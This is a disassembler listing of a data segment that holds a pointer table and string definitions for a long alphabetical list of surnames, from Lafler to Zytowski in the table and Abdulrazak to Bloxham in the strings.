dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine_0 ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch_0 ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay_0 ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: seg002:off_43FB68o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: seg002:0043FB6Co
align 4
aAdams db 'Adams',0 ; DATA XREF: seg002:0043FB70o
align 4
aAddison db 'Addison',0 ; DATA XREF: seg002:off_43FB74o
aAdelstein db 'Adelstein',0 ; DATA XREF: seg002:0043FB78o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: seg002:0043FB7Co
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: seg002:0043FB80o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: seg002:0043FB84o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: seg002:0043FB88o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: seg002:0043FB8Co
align 10h
aAlda db 'Alda',0 ; DATA XREF: seg002:0043FB90o
align 4
aAleks db 'Aleks',0 ; DATA XREF: seg002:0043FB94o
align 10h
aAllison db 'Allison',0 ; DATA XREF: seg002:0043FB98o
aAlongi db 'Alongi',0 ; DATA XREF: seg002:0043FB9Co
align 10h
aAltavilla db 'Altavilla',0 ; DATA XREF: seg002:0043FBA0o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: seg002:0043FBA4o
aAltenhofen db 'Altenhofen',0 ; DATA XREF: seg002:0043FBA8o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: seg002:0043FBACo
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: seg002:0043FBB0o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: seg002:0043FBB4o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: seg002:0043FBB8o
align 4
aAnand db 'Anand',0 ; DATA XREF: seg002:0043FBBCo
align 10h
aAndel db 'Andel',0 ; DATA XREF: seg002:0043FBC0o
align 4
aAndo db 'Ando',0 ; DATA XREF: seg002:0043FBC4o
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: seg002:0043FBC8o
align 4
aAndron db 'Andron',0 ; DATA XREF: seg002:0043FBCCo
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: seg002:0043FBD0o
align 10h
aAnsley db 'Ansley',0 ; DATA XREF: seg002:0043FBD4o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: seg002:0043FBD8o
aAntos db 'Antos',0 ; DATA XREF: seg002:0043FBDCo
align 4
aArbia db 'Arbia',0 ; DATA XREF: seg002:0043FBE0o
align 10h
aArduini db 'Arduini',0 ; DATA XREF: seg002:0043FBE4o
aArellano db 'Arellano',0 ; DATA XREF: seg002:0043FBE8o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: seg002:0043FBECo
align 10h
aArjas db 'Arjas',0 ; DATA XREF: seg002:0043FBF0o
align 4
aArky db 'Arky',0 ; DATA XREF: seg002:0043FBF4o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: seg002:0043FBF8o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: seg002:0043FBFCo
align 4
aAurelius db 'Aurelius',0 ; DATA XREF: seg002:0043FC00o
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: seg002:0043FC04o
aAxworthy db 'Axworthy',0 ; DATA XREF: seg002:0043FC08o
align 4
aAyiemba db 'Ayiemba',0 ; DATA XREF: seg002:0043FC0Co
aAykroyd db 'Aykroyd',0 ; DATA XREF: seg002:0043FC10o
aAyling db 'Ayling',0 ; DATA XREF: seg002:0043FC14o
align 4
aAzima db 'Azima',0 ; DATA XREF: seg002:0043FC18o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: seg002:0043FC1Co
align 10h
aBackus db 'Backus',0 ; DATA XREF: seg002:0043FC20o
align 4
aBady db 'Bady',0 ; DATA XREF: seg002:0043FC24o
align 10h
aBaglivo db 'Baglivo',0 ; DATA XREF: seg002:0043FC28o
aBagnold db 'Bagnold',0 ; DATA XREF: seg002:0043FC2Co
aBailar db 'Bailar',0 ; DATA XREF: seg002:0043FC30o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: seg002:0043FC34o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: seg002:0043FC38o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: seg002:0043FC3Co
align 4
aBallew db 'Ballew',0 ; DATA XREF: seg002:0043FC40o
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: seg002:0043FC44o
align 4
aBanta db 'Banta',0 ; DATA XREF: seg002:0043FC48o
align 10h
aBarabesi db 'Barabesi',0 ; DATA XREF: seg002:0043FC4Co
align 4
aBarajas db 'Barajas',0 ; DATA XREF: seg002:0043FC50o
aBaranczak db 'Baranczak',0 ; DATA XREF: seg002:0043FC54o
align 10h
aBaranowska db 'Baranowska',0 ; DATA XREF: seg002:0043FC58o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: seg002:0043FC5Co
aBarbetti db 'Barbetti',0 ; DATA XREF: seg002:0043FC60o
align 10h
aBarneson db 'Barneson',0 ; DATA XREF: seg002:0043FC64o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: seg002:0043FC68o
aBarriola db 'Barriola',0 ; DATA XREF: seg002:0043FC6Co
align 10h
aBarry db 'Barry',0 ; DATA XREF: seg002:0043FC70o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: seg002:0043FC74o
aBartolome db 'Bartolome',0 ; DATA XREF: seg002:0043FC78o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: seg002:0043FC7Co
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: seg002:0043FC80o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: seg002:0043FC84o
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: seg002:0043FC88o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: seg002:0043FC8Co
align 4
aBayles db 'Bayles',0 ; DATA XREF: seg002:0043FC90o
align 10h
aBayo db 'Bayo',0 ; DATA XREF: seg002:0043FC94o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: seg002:0043FC98o
align 10h
aBeal db 'Beal',0 ; DATA XREF: seg002:0043FC9Co
align 4
aBean db 'Bean',0 ; DATA XREF: seg002:0043FCA0o
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: seg002:0043FCA4o
aBeder db 'Beder',0 ; DATA XREF: seg002:0043FCA8o
align 10h
aBedford db 'Bedford',0 ; DATA XREF: seg002:0043FCACo
aBehenna db 'Behenna',0 ; DATA XREF: seg002:0043FCB0o
aBelanger db 'Belanger',0 ; DATA XREF: seg002:0043FCB4o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: seg002:0043FCB8o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: seg002:0043FCBCo
align 10h
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: seg002:0043FCC0o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: seg002:0043FCC4o
align 4
aBellhouse db 'Bellhouse',0 ; DATA XREF: seg002:0043FCC8o
align 4
aBellini db 'Bellini',0 ; DATA XREF: seg002:0043FCCCo
aBelloc db 'Belloc',0 ; DATA XREF: seg002:0043FCD0o
align 4
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: seg002:0043FCD4o
align 4
aBergson db 'Bergson',0 ; DATA XREF: seg002:0043FCD8o
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: seg002:0043FCDCo
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: seg002:0043FCE0o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: seg002:0043FCE4o
align 4
aBernston db 'Bernston',0 ; DATA XREF: seg002:0043FCE8o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: seg002:0043FCECo
align 4
aBetti db 'Betti',0 ; DATA XREF: seg002:0043FCF0o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: seg002:0043FCF4o
aBiagioli db 'Biagioli',0 ; DATA XREF: seg002:0043FCF8o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: seg002:0043FCFCo
align 4
aBinion db 'Binion',0 ; DATA XREF: seg002:0043FD00o
align 10h
aBir db 'Bir',0 ; DATA XREF: seg002:0043FD04o
aBisema db 'Bisema',0 ; DATA XREF: seg002:0043FD08o
align 4
aBisho db 'Bisho',0 ; DATA XREF: seg002:0043FD0Co
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: seg002:0043FD10o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: seg002:0043FD14o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: seg002:0043FD18o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: seg002:0043FD1Co
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: seg002:0043FD20o
align 4
aBliss db 'Bliss',0 ; DATA XREF: seg002:0043FD24o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: seg002:0043FD28o
aBloch db 'Bloch',0 ; DATA XREF: seg002:0043FD2Co
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: seg002:0043FD30o
aBloemhof db 'Bloemhof',0 ; DATA XREF: seg002:0043FD34o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: seg002:0043FD38o
